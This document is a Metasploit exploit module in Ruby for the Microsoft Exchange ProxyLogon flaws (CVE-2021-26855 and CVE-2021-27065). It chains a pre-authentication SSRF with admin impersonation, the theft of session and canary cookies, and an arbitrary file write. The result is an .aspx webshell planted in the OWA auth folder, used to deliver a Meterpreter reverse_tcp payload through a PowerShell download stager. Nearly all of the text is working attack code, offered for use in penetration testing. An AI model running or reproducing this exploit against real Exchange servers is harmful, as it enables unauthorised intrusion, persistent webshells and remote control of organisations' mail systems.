Exchange ProxyLogon RCE Metasploit Exploit

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager

  include Msf::Exploit::Remote::CheckModule

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})

    super(

      update_info(

        info,

        'Name' => 'Microsoft Exchange ProxyLogon RCE',

        'Description' => %q{

          This module exploit a vulnerability on Microsoft Exchange Server that

          allows an attacker bypassing the authentication, impersonating as the

          admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get

          the RCE (Remote Code Execution).

          By taking advantage of this vulnerability, you can execute arbitrary

          commands on the remote Microsoft Exchange Server.

          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,

          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,

          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

          All components are vulnerable by default.

        },

        'Author' => [

          'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)

          'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)

          'mekhalleh (RAMELLA Sébastien)', # Module author independent researcher (work at Zeop Entreprise)

          'print("")' # https://www.o2oxy.cn/3169.html

        ],

        'References' => [

          ['CVE', '2021-26855'],

          ['CVE', '2021-27065'],

          ['LOGO', 'https://proxylogon.com/images/logo.jpg'],

          ['URL', 'https://proxylogon.com/'],

          ['URL', 'http://aka.ms/exchangevulns'],

          ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],

          ['URL', 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'],

          ['URL', 'https://www.o2oxy.cn/3169.html'],

          ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']

        ],

        'DisclosureDate' => '2021-03-02',

        'License' => MSF_LICENSE,

        'DefaultOptions' => {

          'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',

          'HttpClientTimeout' => 60,

          'RPORT' => 443,

          'SSL' => true,

          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'

        },

        'Platform' => ['windows'],

        'Arch' => [ARCH_CMD, ARCH_X64],

        'Privileged' => true,

        'Targets' => [

          [

            'Windows Dropper',

            {

              'Platform' => 'windows',

              'Arch' => [ARCH_X64],

              'Type' => :windows_dropper,

              'CmdStagerFlavor' => %i[psh_invokewebrequest],

              'DefaultOptions' => {

                'DisablePayloadHandler' => false,

                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',

                'CMDSTAGER::FLAVOR' => :psh_invokewebrequest

              }

            }

          ],

          [

            'Windows Command',

            {

              'Platform' => 'windows',

              'Arch' => [ARCH_CMD],

              'Type' => :windows_command,

              'DefaultOptions' => {

                'DisablePayloadHandler' => true,

                'PAYLOAD' => 'cmd/windows/generic'

              }

            }

          ]

        ],

        'DefaultTarget' => 0,

        'Notes' => {

          'AKA' => ['ProxyLogon']

        }

      )

    )

    register_options([

      OptString.new('EMAIL', [true, 'A known email address for this organization']),

      OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']])

    ])

    register_advanced_options([

      OptBool.new('ForceExploit', [false, 'Override check result', false]),

      OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),

      OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),

      OptString.new('TIMEOUT', [true, 'The number of seconds to wait for a reply from a HTTP request', 15]),

      OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])

    ])

  end

  def cmd_windows_generic?

    datastore['PAYLOAD'] == 'cmd/windows/generic'

  end

  def execute_command(cmd, _opts = {})

    cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"cmd /c #{cmd}\").StdOut.ReadAll());"

    send_request_raw(

      'method' => 'POST',

      'uri' => normalize_uri("/owa/auth/#{@random_filename}"),

      'ctype' => 'application/x-www-form-urlencoded',

      'data' => "#{@random_inputname}=#{cmd}"

    )

  end

  def install_payload(exploit_info)

    # exploit_info: [server_name, sid, session, canary, oab_id]

    input_name = rand_text_alpha(4..8).to_s

    shell = "http://o/#"

    data = {

      'identity': {

        '__type': 'Identity:ECP',

        'DisplayName': (exploit_info[4][0]).to_s,

        'RawIdentity': (exploit_info[4][1]).to_s

      },

      'properties': {

        'Parameters': {

          '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',

          'ExternalUrl': shell.to_s

        }

      }

    }.to_json

    response = send_http(

      'POST',

      "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~1942062522",

      data,

      exploit_info[2],

      'application/json; charset=utf-8',

      {

        # NOTE: Initially I was using patch_sid function to forge msExchLogonMailbox and obtain a good msExchCanary here.

        # But use well-known security identifiers is intersting option (https://www.o2oxy.cn/3169.html).

        # https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows

        'msExchLogonMailbox' => 'S-1-5-20', # NT Authority Network Service

        'msExchTargetMailbox' => 'S-1-5-20'

      }

    )

    return '' if response.code != 200

    input_name

  end

  def message(msg)

    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"

  end

  def patch_sid(sid)

    ar = sid.to_s.split('-')

    if ar[-1] != '500'

      sid = "#{ar[0..6].join('-')}-500"

    end

    sid

  end

  def request_autodiscover(server_name)

    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_http(

      'POST',

      "#{server_name}/autodiscover/autodiscover.xml?a=~1942062522",

      soap_autodiscover,

      '',

      'text/xml; charset=utf-8'

    )

    case response.body

    when /500<\/ErrorCode>/

      fail_with(Failure::Unknown, 'No Autodiscover information was found')

    when /redirectAddr<\/Action>/

      fail_with(Failure::Unknown, 'No email address was found')

    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns).content

    fail_with(Failure::Unknown, 'No \'LegacyDN\' was found') if legacy_dn.empty?

    server = ''

    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|

      type = item.at_xpath('./xmlns:Type', xmlns).content

      if type == 'EXCH'

        server = item.at_xpath('./xmlns:Server', xmlns).content

      end

    end

    fail_with(Failure::Unknown, 'No \'Server ID\' was found') if server.empty?

    [server, legacy_dn]

  end

  # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff

  def request_mapi(server_name, legacy_dn, server_id)

    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

    headers = {

      'X-Requesttype' => 'Connect',

      'X-Clientinfo' => '{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}',

      'X-Clientapplication' => datastore['MapiClientApp'],

      'X-Requestid' => '{C715155F-2BE8-44E0-BD34-2960067874C8}:2'

    }

    sid = ''

    response = send_http(

      'POST',

      "Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~1942062522",

      data,

      '',

      'application/mapi-http',

      headers

    )

    if response.code == 200

      sid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/

      sid = response.body.match(sid_regex).to_s

    end

    fail_with(Failure::Unknown, 'No \'SID\' was found') if sid.empty?

    sid

  end

  def request_oab(server_name, sid, session, canary)

    data = {

      'filter': {

        'Parameters': {

          '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',

          'SelectedView': '',

          'SelectedVDirType': 'OAB'

        }

      },

      'sort': {}

    }.to_json

    response = send_http(

      'POST',

      "Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~1942062522",

      data,

      session,

      'application/json; charset=utf-8',

      {

        # NOTE: Initially I was using patch_sid function to forge msExchLogonMailbox and obtain a good msExchCanary here.

        # But use well-known security identifiers is intersting option (https://www.o2oxy.cn/3169.html).

        # https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows

        'msExchLogonMailbox' => 'S-1-5-20', # NT Authority Network Service

        'msExchTargetMailbox' => 'S-1-5-20'

      }

    )

    if response.code == 200

      data = JSON.parse(response.body)

      data['d']['Output'].each do |oab|

        if oab['Server'].downcase == server_name.downcase

          return [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']]

        end

      end

    end

    fail_with(Failure::Unknown, 'No \'OAB Id\' was found')

  end

  def request_proxylogon(server_name, sid)

    data = "#{sid}"

    session_id = ''

    canary = ''

    response = send_http(

      'POST',

      "Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~1942062522",

      data,

      '',

      'text/xml; charset=utf-8',

      {

        # NOTE: Initially I was using patch_sid function to forge msExchLogonMailbox and obtain a good msExchCanary here.

        # But use well-known security identifiers is intersting option (https://www.o2oxy.cn/3169.html).

        # https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows

        'msExchLogonMailbox' => 'S-1-5-20', # NT Authority Network Service

        'msExchTargetMailbox' => 'S-1-5-20'

      }

    )

    if response.code == 241

      session_id = response.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]

      canary = response.get_cookies.scan(/msExchEcpCanary=([\w\-_.]+);*/).flatten[0] # coin coin coin ...

    end

    [session_id, canary]

  end

  # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.

  def run_cve_2021_26855

    # request for internal server name.

    response = send_http(datastore['METHOD'], 'localhost~1942062522')

    if response.code != 500 || response.headers['X-FEServer'].empty?

      print_bad('Could\'t get the \'X-FEServer\' from the headers response.')

      return

    end

    server_name = response.headers['X-FEServer']

    print_status(" * internal server name (#{server_name})")

    # get informations by autodiscover request.

    print_status(message('Sending autodiscover request'))

    server_id, legacy_dn = request_autodiscover(server_name)

    print_status(" * Server: #{server_id}")

    print_status(" * LegacyDN: #{legacy_dn}")

    # get the user UID using mapi request.

    print_status(message('Sending mapi request'))

    sid = request_mapi(server_name, legacy_dn, server_id)

    print_status(" * sid: #{sid} (#{datastore['EMAIL']})")

    # search oab

    sid, session, canary, oab_id = search_oab(server_name, sid)

    [server_name, sid, session, canary, oab_id]

  end

  # post-auth arbitrary file write.

  def run_cve_2021_27065(session_info)

    # set external url (and set the payload).

    print_status(' * prepare the payload on the remote target')

    input_name = install_payload(session_info)

    fail_with(Failure::Unknown, 'Could\'t prepare the payload on the remote target') if input_name.empty?

    # reset the virtual directory (and write the payload).

    print_status(' * write the payload on the remote target')

    remote_file = write_payload(session_info)

    fail_with(Failure::Unknown, 'Could\'t write the payload on the remote target') if remote_file.empty?

    # wait a lot.

    i = 0

    while i < datastore['MaxWaitLoop']

      received = send_request_cgi({

        'method' => 'GET',

        'uri' => normalize_uri("/owa/auth/#{remote_file}")

      }, timeout = 2.5)

      if received && (received.code == 200)

        break

      end

      print_warning(" * wait a lot (#{i})")

      sleep 5

      i += 1

    end

    [input_name, remote_file]

  end

  def search_oab(server_name, sid)

    # request cookies (session and canary)

    print_status(message('Sending ProxyLogon request'))

    print_status(' * try to get a good msExchCanary (by patching user SID method)')

    session_id, canary = request_proxylogon(server_name, patch_sid(sid))

    sid = patch_sid(sid) if canary

    unless canary

      print_status(' * try to get a Canary (without correcting the user\'s SID)')

      session_id, canary = request_proxylogon(server_name, sid)

    end

    fail_with(Failure::Unknown, 'No \'ASP.NET_SessionId\' was found') if session_id.empty?

    fail_with(Failure::Unknown, 'No \'msExchEcpCanary\' was found') if canary.empty?

    print_status(" * ASP.NET_SessionId: #{session_id}")

    print_status(" * msExchEcpCanary: #{canary}")

    session = "ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};"

    # get OAB id

    oab_id = request_oab(server_name, sid, session, canary)

    print_status(" * OAB id: #{oab_id[1]} (#{oab_id[0]})")

    return [sid, session, canary, oab_id]

  end

  def send_http(method, ssrf, data = '', cookie = '', ctype = '', headers = '')

    ssrf = "X-BEResource=#{ssrf};"

    if cookie

      cookie = "#{ssrf} #{cookie}"

    else

      cookie = "#{ssrf}"

    end

    ctype = 'application/x-www-form-urlencoded' if ctype.empty?

    request = {

      'method' => method,

      'uri' => @random_uri,

      'agent' => datastore['UserAgent'],

      'ctype' => ctype

    }

    request = request.merge({ 'data' => data }) unless data.empty?

    request = request.merge({ 'cookie' => cookie }) unless cookie.empty?

    request = request.merge({'headers' => headers}) unless headers.empty?

    received = send_request_cgi(request)

    fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received

    received

  end

  def soap_autodiscover

    <<~SOAP

      

      

        

          #{datastore['EMAIL']}

          http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a

        

      

    SOAP

  end

  def write_payload(exploit_info)

    # exploit_info: [server_name, sid, session, canary, oab_id]

    remote_file = "#{rand_text_alpha(4..8)}.aspx"

    remote_path = 'Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth'

    remote_path = "\\\\127.0.0.1\\c$\\#{remote_path}\\#{remote_file}"

    data = {

      'identity': {

        '__type': 'Identity:ECP',

        'DisplayName': (exploit_info[4][0]).to_s,

        'RawIdentity': (exploit_info[4][1]).to_s

      },

      'properties': {

        'Parameters': {

          '__type': 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel',

          'FilePathName': remote_path.to_s

        }

      }

    }.to_json

    response = send_http(

      'POST',

      "Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~1942062522",

      data,

      exploit_info[2],

      'application/json; charset=utf-8',

      {

        # NOTE: Initially I was using patch_sid function to forge msExchLogonMailbox and obtain a good msExchCanary here.

        # But use well-known security identifiers is intersting option (https://www.o2oxy.cn/3169.html).

        # https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows

        'msExchLogonMailbox' => 'S-1-5-20', # NT Authority Network Service

        'msExchTargetMailbox' => 'S-1-5-20'

      }

    )

    return '' if response.code != 200

    remote_file

  end

  def exploit

    unless datastore['ForceExploit']

      case check

      when CheckCode::Vulnerable

        print_good('The target appears to be vulnerable')

      when CheckCode::Safe

        fail_with(Failure::NotVulnerable, 'The target does not appear to be vulnerable')

      else

        fail_with(Failure::Unknown, 'The target vulnerability state is unknown')

      end

    end

    @proto = (ssl ? 'https' : 'http')

    @random_uri = normalize_uri('ecp', "#{rand_text_alpha(1..3)}.js")

    print_status(message('Attempt to exploit for CVE-2021-26855'))

    exploit_info = run_cve_2021_26855

    print_status(message('Attempt to exploit for CVE-2021-27065'))

    shell_info = run_cve_2021_27065(exploit_info)

    @random_inputname = shell_info[0]

    @random_filename = shell_info[1]

    print_good(" * yeeting #{datastore['PAYLOAD']} payload at #{peer}")

    # trigger powa!

    case target['Type']

    when :windows_command

      if cmd_windows_generic?

        vprint_status(" * generated payload: #{payload.encoded}")

        print_warning('Dumping command output in response')

        cmd = payload.encoded.gsub('\\', '\\\\\\')

        cmd = cmd.gsub('"', '\\"')

        response = execute_command(cmd)

        output = response.body.split('Name                            :')[0]

        if output.empty?

          print_error('Empty response, no command output')

          return

        end

        print_line(output)

      end

    when :windows_dropper

      cmd = generate_cmdstager[0].gsub('\\', '\\\\\\').gsub('&', '\u0026')

      execute_command(cmd)

    end

  end

end